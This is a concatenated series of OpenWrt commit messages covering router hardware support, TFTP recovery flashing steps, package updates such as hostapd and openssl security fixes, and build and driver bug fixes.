1. Perform sysupgrade with stock image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Hardware:
SoC: MT7621A
Flash: 32 MiB
RAM: 512 MiB
Ethernet: built-in switch
USB: 1x USB3.0
SATA: ASM1060, 1 SATA port
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.173.22
2. Download *-sysupgrade.bin image and rename it to firmware.img
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Turn on router,press the reset button and wait ~15 seconds
6. Release the reset button and after a short time
the firmware should be transferred from the tftp server
7. Wait ~3 minutes to complete recovery.
Signed-off-by: Qi Jiang <rushx@live.cn>
[squash commits, add label-mac-device, fix sign-off style]
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This converts all remaining devices to use interrupt-driven
gpio-keys compatible instead of gpio-keys-polled.
The poll-interval is removed.
Only ar7240_netgear_wnr612-v2 is kept at gpio-keys-polled, as
this one is using ath9k keys.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Karl Palsson <karlp@etactica.com>
Tested-by: Dmitry Tunin <hanipouspilot@gmail.com>
hostapd will not use the getrandom() syscall and as a fallback use
/dev/random, the syscall is supported since Linux 3.17 and in the musl,
glibc and uclibc version used by OpenWrt.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
All the content of this function is proceeded by IEEE8021X_EAPOL no code
accesses the ssid variable outside of this ifdef.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The size of the ipkgs increase a bit (between 0.7% and 1.1%):
old 2019-04-21 (2.8):
288264 wpad-basic_2019-04-21-63962824-1_mipsel_24kc.ipk
256188 wpad-mini_2019-04-21-63962824-1_mipsel_24kc.ipk
427475 wpad-openssl_2019-04-21-63962824-1_mipsel_24kc.ipk
423071 wpad-wolfssl_2019-04-21-63962824-1_mipsel_24kc.ipk
new 2019-08-08 (2.9):
290217 wpad-basic_2019-08-08-ca8c2bd2-1_mipsel_24kc.ipk
258745 wpad-mini_2019-08-08-ca8c2bd2-1_mipsel_24kc.ipk
431732 wpad-openssl_2019-08-08-ca8c2bd2-1_mipsel_24kc.ipk
427641 wpad-wolfssl_2019-08-08-ca8c2bd2-1_mipsel_24kc.ipk
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This also syncs the configuration files with the default configuration
files, but no extra options are activated or deactivated.
The mesh patches were partially merged into hostapd 2.8, the remaining
patches were extracted from patchwork and are now applied by OpenWrt.
The patches still have open questions which are not fixed by the author.
They were taken from this page:
https://patchwork.ozlabs.org/project/hostap/list/?series=62725&state=*
The changes in 007-mesh-apply-channel-attributes-before-running-Mesh.patch
where first applied to hostapd, but later reverted in hostapd commit
3e949655ccc5 because they caused memory leaks.
The size of the ipkgs increase a bit (between 1.3% and 2.3%):
old 2018-12-02 (2.7):
283337 wpad-basic_2018-12-02-c2c6c01b-11_mipsel_24kc.ipk
252857 wpad-mini_2018-12-02-c2c6c01b-11_mipsel_24kc.ipk
417473 wpad-openssl_2018-12-02-c2c6c01b-11_mipsel_24kc.ipk
415105 wpad-wolfssl_2018-12-02-c2c6c01b-11_mipsel_24kc.ipk
new 2019-04-21 (2.8):
288264 wpad-basic_2019-04-21-63962824-1_mipsel_24kc.ipk
256188 wpad-mini_2019-04-21-63962824-1_mipsel_24kc.ipk
427475 wpad-openssl_2019-04-21-63962824-1_mipsel_24kc.ipk
423071 wpad-wolfssl_2019-04-21-63962824-1_mipsel_24kc.ipk
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de>
The allocation of LEBs to ubi volumes is handled by the sysupgrade script:
package/base-files/files/lib/upgrade/nand.sh
and the ubimkvol and or ubirsvol command. Therefore, padding of the
kernel blob is not needed at all, so use cat instead of dd. The
BLOCKSIZE variable was only used in the dd command. In any case, 63k
made no sense for the way BLOCKSIZE was being used.
63k (64512) does make sense for DTB_SIZE because of the offsets expected
by u-boot given extant u-boot-env variables.
Tested on Meraki MR24.
Signed-off-by: Russell Senior <russell@personaltelco.net>
Add support for the ar71xx supported Netgear WNDR3800CH to ath79.
The device is identical to WNDR3800 except NETGEAR_BOARD_ID.
Signed-off-by: Dmitry Tunin <hanipouspilot@gmail.com>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds the CRYPTO_ALG_KERN_DRIVER_ONLY flag to Qualcomm crypto engine
driver algorithms, so that openssl devcrypto can recognize them as
hardware-accelerated.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[refresh, move to ipq40xx as its the only target right now]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Some ar9344-based devices are using ath9k_patch_fw_mac_crc, which
is meant to generate a checksum, for fixing their ath9k MAC
addresses.
However, those do not have a checksum field, and the calculated
checksum offset would be negative.
This patch will use ath9k_patch_fw_mac function for those devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces deprecated backticks by more versatile $(...) syntax.
While at it, remove some useless cat commands and deprecated
egrep commands.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It has been reported that using the sysupgrade-tar image will trigger
"lzma_decode failed error". The RedBoot bootloader always loads data
from flash till block size boundary, so if there's no padding it'll also
load the beginning of rootfs, and it seems that lzma_decoder can't handle
that garbage data. Previously the script creating combined-image
silently padded the kernel and rootfs, but since sysupgrade-tar doesn't,
pad the default kernel image.
Fixes: 900330f ("ath79: image: retire combined-image for Adtran/Bluesocket
devices")
Cc: Brian Gonyer <bgonyer@gmail.com>
Cc: Daniel Gimpelevich <daniel@gimpelevich.san-francisco.ca.us>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This applies alphabetic sorting to devices in image/* files.
For certain cases, this patch deviates from strict sorting, e.g.
to ensure that v10 comes after v9.
While at it, fix an indent and remove some useless empty lines.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Change TARGET_ROOTFS_PARTSIZE from 128 to 104 MiB, so the whole image
(bootloader + boot + root) will fit on a 128MB CF card by default.
With these settings, the generated images (tested on x86-generic and
x86-64) have 126,353,408 bytes; the smallest CF card marketed as "128MB"
that I found a datasheet for (a Transcend TS128MCF80) has 126,959,616
bytes.
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
Some tools doesn't support SOURCE_DATE_EPOCH (e.g. initramfs images).
Ensure all files of a root filesystem are set to SOURCE_DATE_EPOCH.
Make initramfs builds reproducible (for ramips).
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
4327ed4 mkdev: Avoid out of bounds read
9b3eb63 libblkid-tiny: use blkid_probe_set_utf8label for label set
c9d0462 libblkid-tiny: adds blkid_probe_set_utf8label support
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Needed for glib2 host build:
gresource-tool.c:32:20: fatal error: libelf.h: No such file or directory
#include <libelf.h>
Changed PKG_LICENSE to the SPDX version.
Switched build dependency for argp-standalone to !USE_GLIBC. argp is a
glibc extension. Treat it as such.
Adjusted patch to use strerror_l, which works properly with both glibc
and musl. The patch errors under glibc with:
dwfl_error.c:158:7: error: ignoring return value of 'strerror_r', declared
with attribute warn_unused_result [-Werror=unused-result]
strerror_r (error & 0xffff, s, sizeof(s));
void casting does not fix the error.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Hardware acceleration was disabled when AES-CCM was selected as a
workaround for a build failure. This applies a couple of upstream
patches fixing this.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Remove 300-bn_mul.h-Use-optimized-MULADDC-code-only-on-ARM-6.patch,
the issue has been fixed upstream.
Signed-off-by: Magnus Kroken <mkroken@gmail.com>
This patch was originally added to fix compilation with v4l2rtspserver.
Turns out it was v4l2rtspserver that was broken, not uClibc++. This now
causes issues with a different package where the arguments are being
split.
Note that with this patch, shellcheck throws an error:
SC2068: Double quote array expansions to avoid re-splitting elements.
More: https://github.com/openwrt/packages/pull/9972#discussion_r324878373
Signed-off-by: Rosen Penev <rosenp@gmail.com>
This backports a fix from GCC master to fix a internal compiler
exception seen when compiling libjson-c with mips16 activated.
Fixes: FS#2455
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
For AP mode, OpenWrt automatically sets ieee80211w to either 1 or 2, depending
on whether the encryption is set to sae-mixed, or sae/owe/eap suite-b.
Mirror the same defaults for client mode connections, in order to allow an
OpenWrt station to associate to an OpenWrt ap with SAE, OWE or Suite-B encryption
without the need to manually specify "option ieee80211w" on the station.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This changes fixes the generation of the wpa_supplicant client configuration
in WPA3 OWE client mode. Instead of incorrectly emitting key_mgmt=NONE, use
the proper key_mgmt=OWE setting instead.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The EnGenius ESR600 is a dual band wireless router with a 4-port gigabit
Ethernet switch, a gigabit Ethernet WAN port and a USB port.
Specification:
- Bootloader: U-Boot
- SoC: MediaTek MT7620A (600 MHz)
- Flash: 16MB, Macronix MX25L12845E
- RAM: 64MB, Nanya NT5TU32M16DG-AC
- Serial: 115200 baud, no header, 3.3V
J2: Vcc (arrow), Gnd, Tx, Rx
- USB: USB 2, 5V
- Ethernet: 5 x 1 Gb/s 4 LAN 1 WAN, Atheros AR8327
- WiFi0: 5 GHz 802.11 b/g/n Ralink RT5592N
300 Mb/s, 2T2R
- WiFi1: 2.4 GHz 802.11 b/g/n integrated
300 Mb/s, 2T2R
- Antennas: 2 per radio, internal
- LEDs: 1 programmable power (amber)
2 programable radio (blue)
1 programable WPS-5G (blue)
1 non-programable WAN activity (blue)
1 unconfigured WPS-2.4G (amber)
- Buttons: GPIO: Reset, WPS
Installation:
Use the OEM web interface to install the ...-factory.dlf image.
Use the OpenWRT ...-sysupgrade.bin image for future upgrades.
The J2 serial port can be accessed either by soldering in a header,
standard 0.1" spacing, or by using pogo-pins against the back side.
As configured by the OEM, the U-Boot boot delay is short, however quickly
typing "1" leads to the U-Boot "System load Linux to SDRAM via TFTP"
prompt. The TFTP client is configured by default with
client: 192.168.99.9
server: 192.168.99.8
filename: uImageESR600
It will load an OpenWRT initramfs kernel with this method.
Known issues:
1) Only the ports externally labeled WAN, LAN3 and LAN4 are operational.
LAN1 and LAN2 do not appear to power up. This issue is also present
in the Lava LR25G001.
2) The amber WPS-2.4G LED, in the same lightguide as the blue WPS-5G LED,
is not configured in the Device Tree specification.
3) The blue WAN activity LED is not configured in the Device Tree
specification as this causes the AR8327 switch to fail to initialize.
Signed-off-by: Nick Briggs <nicholas.h.briggs@gmail.com>
[merge conflict in 02_network]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SoC: Mediatek MT7621A
CPU: 4x 880Mhz
Cache: 32 KB I-Cache and 32 KB D-Cach
256 KB L2 Cache (shared by Dual-Core)
RAM: DDR3 512MB 16bits BUS
FLASH: 16MB
Switch: Mediatek Gigabit Switch (2 x LAN, 1 x WAN)
POE: (1x PD, 2x PSE)
USB: 1x 3.0
PCI: 3x Mini PCIe (3 USB2.0 + 2 x UIM interface)
GPS: Quectel L70B
SIM: 2 Slots
BTN: Reset
LED: - Power
- Ethernet
- Wifi
- USB
UART: UART is present as Pads with throughholes on the PCB.
They are located on left side.
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation
------------
The stock image is a modified openwrt and can be overflashed via sysupgrade -F
Signed-off-by: Daniel Danzberger <daniel@dd-wrt.com>
[merge conflict in mt7621.mk]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SoC: MediaTek MT7621AT dual-core @ 880MHz
RAM: 256M (Winbond W632GG6KB-1)
FLASH: 128MB (Macronix MX30LF1G18AC-TI)
WiFi: - 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
Switch: SoC integrated Gigabit Switch (4 x LAN, 1 x WAN)
USB: 1 x USB 3.1 (Gen 1)
BTN: Reset, WPS
LED: - Power (blue)
- 5Ghz (blue)
- 2.4GHz (blue)
- Internet (blue)
- 4x LAN (blue)
(LAN/WAN leds are not controllable by GPIOs)
UART: UART is present as Pads marked J4 on the PCB.
3.3V - TX - RX - GND / 57600-8N1
3.3V is the square pad
MAC: The MAC address on the router-label matches the MAC of
the 2.4 GHz WiFi.
LAN and WAN MAC are identical: MAC_LABEL+4
5 GHz WiFi MAC: also MAC_LABEL+4
Installation
------------
Via U-Boot tftpd:
Switch on device, within 2s press reset button and keep pressed
until power LED starts blinking slowly.
Upload factory image via tftp put, the router's ip is 192.168.1.1
and expects the client on 192.168.1.75.
The images also work on the Asus RT-AC65P models as tested by Gabor.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
Tested-by: Gabor Varga <vargagab@gmail.com>
[fixed Asus -> ASUS in DTS]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
SoC: MediaTek MT7621AT dual-core @ 880MHz
RAM: 256M (Nanya NT5CC128M)
FLASH: 16MB (Macronix MX25L12835F)
WiFi: - 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
Switch: SoC integrated Gigabit Switch (4 x LAN, 1 x WAN)
USB: No
BTN: Reset, WPS
LED: 4 red LEDs, indistinguishable when casing closed
UART: UART is present as Pads marked J1 on the PCB.
3.3V - RX - GND - TX / 57600-8N1
3.3V is the square pad
Installation
------------
Update the factory image via the OEM web-interface
(by default:http://192.168.1.1)
The sysupgrade image can be installed via TFTP from
the U-Boot bootloader. Connect ethernet port 2.
Signed-off-by: Birger Koblitz <mail@birger-koblitz.de>
[flash node rename, EDIMAX -> Edimax, complete device model name]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
If no device tree is given there is no node generated, but
the configuration does still include the name of the missing node.
This will result in a successful build fit image, but bootm does
throw a error message if we want to boot the bad configuration.
Signed-off-by: Johann Neuhauser <jneuhauser@dh-electronics.com>
add module to support Emulex OneConnect
common in 10Gbit SFP+ cards by Dell/HP/IBM
supports OneConnect OCe10xxx OCe11xxx OCe14xxx,
LightPulse LPe12xxx
Signed-off-by: Alberto Bursi <alberto.bursi@outlook.it>
wps_supplicant.h assumes that 'struct wpa_bss' is forward declared if
CONFIG_WPS is not defined. With the later inclusion of
600-ubus_support, the issue manifests in warnings like these:
wps_supplicant.h:113:15: warning: 'struct wpa_bss' declared inside parameter list will not be visible outside of this definition or declaration
struct wpa_bss *bss)
^~~~~~~
This patch forward declares 'struct wpa_bss' regardless.
Signed-off-by: Leon M. George <leon@georgemail.eu>
[commit message facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The original wpa_hexdump uses a 'void *' for the payload. With patch
410-limit_debug_messages, the signature changes and compiler warnings
occur at various places. One such warning is:
wpa_debug.h:106:20: note: expected 'const u8 * {aka const unsigned char *}' but argument is of type 'struct wpa_eapol_key *'
Signed-off-by: Leon M. George <leon@georgemail.eu>
[commit message facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The ar71xx images for the Ubiquiti NanoStation M (XW) devices use
"nanostation-m-xw" as the board name, but the ath79 images are only
compatible with the "nano-m-xw" board name, so sysupgrade complains.
By adding this additional supported device, sysuspgrade smoothly
upgrades from ar71xx to ath79.
Tested on a NanoStation M (XW) running OpenWrt ar71xx r10250-016d1eb.
Ref: https://github.com/openwrt/openwrt/pull/2418
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[removed duplicate DEVICE_VARIANT, removed uneeded nano-m-xw support]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
So far, XW devices have DEVICE_VARIANT defined and XM devices have
no DEVICE_VARIANT set.
This adds DEVICE_VARIANT for XM devices, and moves definitions for
both XM and XW to the common definitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds the label MAC address for several devices in
ramips.
Some devices require setting the MAC address in 02_network:
For the following devices, the netif device can be linked in
device tree, but the MAC address cannot be read:
- cudy,wr1000
- dlink,dir-615-d
- dlink,dir-615-h1
- dlink,dir-860l-b1
- glinet,gl-mt300a
- glinet,gl-mt300n
- glinet,gl-mt750
- vocore,vocore2
- vocore,vocore2-lite
- zbtlink,zbt-we1326
- zbtlink,zbt-wg3526
For the following devices, label MAC address is tied to lan or
wan, so no node to link to exists in device tree:
- dlink,dir-510l
- dlink,dwr-116-a1
- dlink,dwr-118-a1
- dlink,dwr-118-a2
- dlink,dwr-921-c1
- dlink,dwr-922-e2
- all hiwifi devices
- lava,lr-25g001
- xiaomi,mir3p
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds the label MAC address for several devices in
ath79.
Some devices require setting the MAC address in 02_network:
For the following devices, the netif device can be linked in
device tree, but the MAC address cannot be read:
- alfa-network,ap121f
- avm,fritz300e
- ubnt-xm devices
For the following devices, label MAC address is tied to lan or
wan, so no node to link to exists in device tree:
- adtran,bsap1800-v2
- adtran,bsap1840
- dlink,dir-842-c1/-c2/-c3
- engenius,ecb1750
- iodata,etg3-r
- iodata,wn-ac1167dgr
- iodata,wn-ac1600dgr
- iodata,wn-ac1600dgr2
- iodata,wn-ag300dgr
- nec,wg800hp
- nec,wg1200cr
- trendnet,tew-823dru
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
For many devices, MAC addresses cannot be retrieved via the
device tree alias.
To still provide the label MAC address for those, this implements
a second mechanism that will put the address into uci config.
Note that this stores the actual MAC address, whereas in DTS
we reference the bearing device.
This is based on the work of Rosy Song <rosysong@rosinson.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
To refer to the MAC address on a device's label, one can
specify the alias label-mac-device in the DTS which should
point to the bearer of the corresponding MAC address.
With the function get_mac_label, the user can retrieve then
retrieve this address and use it as a value that uniquely
identifies his device.
This is severely helpful for several downstream functionalities,
e.g. define MAC addresses of custom netifs or change the SSID to
be easily recognizable.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This version fixes 3 low-severity vulnerabilities:
- CVE-2019-1547: ECDSA remote timing attack
- CVE-2019-1549: Fork Protection
- CVE-2019-1563: Padding Oracle in PKCS7_dataDecode and
CMS_decrypt_set1_pkey
Patches were refreshed.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
If an spi-gpio was specified with num-chipselects = <0> in dts, kernel
will crash:
Unable to handle kernel paging request at virtual address 32697073
pgd = (ptrval)
[32697073] *pgd=00000000
Internal error: Oops: 5 [# 1] SMP ARM
Modules linked in:
CPU: 2 PID: 1 Comm: swapper/0 Not tainted 4.19.72 #0
Hardware name: Generic DT based system
PC is at validate_desc+0x28/0x80
LR is at gpiod_direction_output+0x14/0x128
...
[<c0544db4>] (validate_desc) from [<c0545228>] (gpiod_direction_output+0x14/0x128)
[<c0545228>] (gpiod_direction_output) from [<c05fa714>] (spi_gpio_setup+0x58/0x64)
[<c05fa714>] (spi_gpio_setup) from [<c05f7258>] (spi_setup+0x12c/0x148)
[<c05f7258>] (spi_setup) from [<c05f7330>] (spi_add_device+0xbc/0x12c)
[<c05f7330>] (spi_add_device) from [<c05f7f74>] (spi_register_controller+0x838/0x924)
[<c05f7f74>] (spi_register_controller) from [<c05fa494>] (spi_bitbang_start+0x108/0x120)
[<c05fa494>] (spi_bitbang_start) from [<c05faa34>] (spi_gpio_probe+0x314/0x338)
[<c05faa34>] (spi_gpio_probe) from [<c05a844c>] (platform_drv_probe+0x34/0x70)
The cause is spi_gpio_setup() did not check if the spi-gpio has
chipselect pins before setting their direction and results in derefing
an invalid pointer.
The bug is spotted in kernel 4.19.72 and does not occur in 4.14.
There is a similar fix upstream in kernel 5.2 in commit 249e2632dcd0
("spi: gpio: Don't request CS GPIO in DT use-case").
Ref: https://patchwork.kernel.org/patch/11150619/
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
[use upstream patch, moved from hack to pending dir, commit facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Since service and instance names may contain characters which are not allowed
in JSON path labels, such as dashes or spaces, change the filter expression
to array square bracket notation to properly match these cases as well.
Fixes: 2c3dd70741 ("procd: add procd_running() helper for checking running state")
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
5b4f7382af Add undef to fix test failure.
9456483fb2 Improve performance of memmem
373f8b06a3 Improve performance of strstr
4ec1b9e913 Fix strstr bug with huge needles (bug 23637)
ecd6271ed8 Speedup first memmem match
bba6b9288f Simplify and speedup strstr/strcasestr first match
7a4da6ef7a Improve strstr performance
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Add ath79 support for Archer C59v2, previously supported by ar71xx.
TP-Link Archer C59v2 is a dual-band AC1350 router based on
Qualcomm/Atheros QCA9561+QCA9886 chips.
Specification:
- 775/650/258 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 16 MB of FLASH (SPI NOR)
- 3T3R 2.4 GHz
- 2T2R 5 GHz
- 5x 10/100 Mbps Ethernet
- USB 2.0 port
- UART header on PCB
Flash instruction:
- via web UI:
1. Download openwrt-ath79-generic-tplink_archer-c59-v2-squashfs-factory.bin
2. Login to router and open the Advanced tab
3. Navigate to System Tools -> Firmware Upgrade
4. Upload firmware using the Manual Upgrade form
- via TFTP:
1. Set PC to fixed ip address 192.168.0.66
2. Download openwrt-ath79-generic-tplink_archer-c59-v2-squashfs-factory.bin
and rename it to tp_recovery.bin
3. Start a tftp server with the file tp_recovery.bin in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
Signed-off-by: Keith Maika <keithm@aoeex.com>
The Archer C58/C59 have redundant LED and MAC address definitions
in their DTS files. This moves them to the parent DTSI file.
The patch already accounts for the upcoming Archer C59 v2.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Allow flashing Luxul devices using vendor firmware format. The next step
will be building proper images once they are conirmed to work.
Signed-off-by: Dan Haab <dan.haab@legrand.com>
This makes brcmfmac use the same wiphy after PCIe reset to help user
space handle corner cases (e.g. firmware crash).
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Enable by default mtk_efuse driver since it needed by mtk_thermal driver
to read sensor calibration data
Signed-off-by: Lorenzo Bianconi <lorenzo@kernel.org>
This enables using the "eTactica" LED during boot, to indicate failsafe,
and during upgrade, while still leaving the LED alone for normal
operation. This brings the device more in line with how other devices
work, and makes the failsafe functionality easier to use and understand.
Signed-off-by: Karl Palsson <karlp@etactica.com>
Update the ath10k-ct driver version to 5e8cd86f90dac966d12df6ece84ac41458d0e95f
to enable dynamic VLANs to work. Patches refreshed during the bump.
Signed-off-by: Robert Marko <robimarko@gmail.com>
[commit description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This enables a feature flag in the wave-2 firmware wmi-services indicating it can send
software-encrypted raw frames. This should in turn allow the AP-VLAN feature to work.
Signed-off-by: Robert Marko <robimarko@gmail.com>
This patch removes scons host build tool, as commit 7087efd72a8d
("scons: move host build tool to a proper place") in the packages feed
has moved scons into the new home.
There are currently no packages in the master tree which would need
scons, yet scons is build always as part of host tools, just in order to
satisfy host build dependency of few packages in the packages feeds.
Ref: https://github.com/openwrt/packages/pull/9584
Acked-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
commit eb204d14f75c ("base-files: implement generic service_running")
introduced generic service_running so it's not needed to copy&paste same
3 lines over and over again.
I've removed service_running from netifd/network init script as well,
because it was not working properly, looked quite strange and I didn't
understand the intention:
$ /etc/init.d/network stop
$ service network running && echo "yes" || echo "nope"
( have to wait for 30s )
Command failed: Request timed out
yes
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Adds a default status action for init.d scripts.
procd "service status" will return:
0) for loaded services (even if disabled by conf or dead)
3) for inactive services
4) when filtering a non-existing instance
Signed-off-by: Luiz Angelo Daros de Luca <luizluca@gmail.com>
[rebased, cleaned up]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The Linkit Smart 7688 has a SD-Card reader that does not work with the official build of openwrt. Adding kmod-sdhci-mt7620 makes it working.
Signed-off-by: Ivan Hörler <i.hoerler@me.com>
Only the 2R version got the STM32 uC connected as 2nd SPI device.
Hence move the spidev node from mt7628an_wrtnode_wrtnode2.dtsi to
mt7628an_wrtnode_wrtnode2r.dts.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Currently for at91 target, Build/install-dtb can be triggered concurrently for
multiple different TARGET_FILESYSTEMS, cp command can fail when the
target file is already open exclusively by other cp process
[ -f /builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/at91sam9263ek-uImage -a -f /builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/root.ubifs+fs=-m_2048_-e_126KiB_-c_2048+pkg=68b329da ]
[ -f /builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/at91sam9263ek-uImage -a -f /builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/root.ext4+pkg=68b329da ]
cp -fpR /builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/linux-4.14.141/arch/arm/boot/dts/at91sam9263ek.dtb /builder/shared-workdir/build/bin/targets/at91/sam9x/openwrt-at91-sam9x-at91sam9263ek.dtb;
cp -fpR /builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/linux-4.14.141/arch/arm/boot/dts/at91sam9263ek.dtb /builder/shared-workdir/build/bin/targets/at91/sam9x/openwrt-at91-sam9x-at91sam9263ek.dtb;
cp: cannot create regular file '/builder/shared-workdir/build/bin/targets/at91/sam9x/openwrt-at91-sam9x-at91sam9263ek.dtb': File exists
Makefile:87: recipe for target '/builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/tmp/openwrt-at91-sam9x-at91sam9263ek-ubifs-dtb' failed
make[4]: *** [/builder/shared-workdir/build/build_dir/target-arm_arm926ej-s_musl_eabi/linux-at91_sam9x/tmp/openwrt-at91-sam9x-at91sam9263ek-ubifs-dtb] Error 1
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Move the IRQ fix from generic to ar71xx specific.
Other targets like ath79 have specific pathes to delete this code.
This resulted in a build failure on ath79
While at it, wipe the 4.19 version, as ar71xx will never reach this.
Fixes: 530f76708cef ("ar71xx: Fix potentially missed IRQ handling during
dispatch")
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
For devices inheriting from bcm63xx_netgear, the IMAGES variable
is overwritten with the same values as defined in the parent
definition. So, remove the unnecessary overwrite.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
SquashFS has a minimum block size of at least 1k, so we need to make
sure the last data block is also at least that big.
This is not an issue on NOR or SD CARD devices, since their rootfs
partitions go all the way to the end of the usable space.
But on NAND with ubiblock, the rootfs partition will be the exact space,
rounded up to LEB size. Unfortunately, some NAND chips with small sub
pages have a LEB size of x.5 kiB. This can cause the the last data block
to be less than 1k, which will cause the last block to be inaccessible,
causing boot failures as seen on MR24:
[ 1.532960] block ubiblock0_3: created from ubi0:3(rootfs)
[ 1.538457] ubiblock: device ubiblock0_3 (rootfs) set to be root filesystem
[ 1.552847] SQUASHFS error: squashfs_read_data failed to read block 0x621472
[ 1.559896] squashfs: SQUASHFS error: unable to read id index table
[ 1.566474] VFS: Cannot open root device "(null)" or unknown-block(254,0): error -5
Since on most NOR devices, the start of the squashfs partition is not
aligned. Since the start of the rootfs_data partition there is dependend
on the SquashFS size, we cannot just always pad it, as the padding could
creep into the rootfs_data partition, breaking jffs2.
So fix this by ensuring a squashfs rootfs is always a multiple of 1k
only for UBI and NAND sysupgrade images.
Fixes#2460 without affecting NOR devices.
Tested-by: Russell Senior <russell@personaltelco.net>
Signed-off-by: Jonas Gorski <jonas.gorski@gmail.com>
If both interrupts are set in the current implementation
only the 1st will be handled and the 2nd will be skipped
due to the "if else" condition.
Fix this by using the same approach as done for QCA955x
just below it.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
If both interrupts are set in the current implementation
only the 1st will be handled and the 2nd will be skipped
due to the "if else" condition.
Fix this by using the same approach as done for QCA955x
just below it.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
e73bf11 config: ra_management compatibility support
d818380 odhcpd: router: Fix out of scope memory access
94a1c94 dhcpv6-ia: free assignment when validity timer expires
752fc2c router: speed up initial router advertisements
09aa022 router: close socket upon NETEV_IFINDEX_CHANGE fixed
79eb160 router: fix previous commit
6034b5c router: close socket upon NETEV_IFINDEX_CHANGE
000182f router: fix lingering uloop socket descriptor
f6c2242 router: support ra_lifetime being 0
d111809 router: make RA flags configurable (FS#2019)
Update odhcpd defaults according to the new RA flags implementation
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
The UniFi AC LED mapping is currently off. The blue/white LED are used
as WiFi indicators, while the vendor firmware does not feature WiFI
LEDs.
Instead, the LEDs are used to indicate the devices status. Align the LED
mapping to match the vendor firmware as good as possible.
Signed-off-by: David Bauer <mail@david-bauer.net>
a88fb42 iwinfo: add device id for Qualcomm Atheros QCA9886
1b69d86 iwinfo: add device id for Qualcomm Atheros QCA9887
Signed-off-by: David Bauer <mail@david-bauer.net>
KERNEL_DEVPTS_MULTIPLE_INSTANCES and KERNEL_POSIX_MQUEUE were
previously enabled by default only if KERNEL_LXC_MISC was selected.
KERNEL_LXC_MISC was enabled only if the SMALL_FLASH (anti-)feature
was not selected.
Now that KERNEL_LXC_MISC no longer exists, make sure that those
options are also only enabled by default for !SMALL_FLASH targets.
Fixes: 4f94a331 ("config: kernel: remove KERNEL_LXC_MISC")
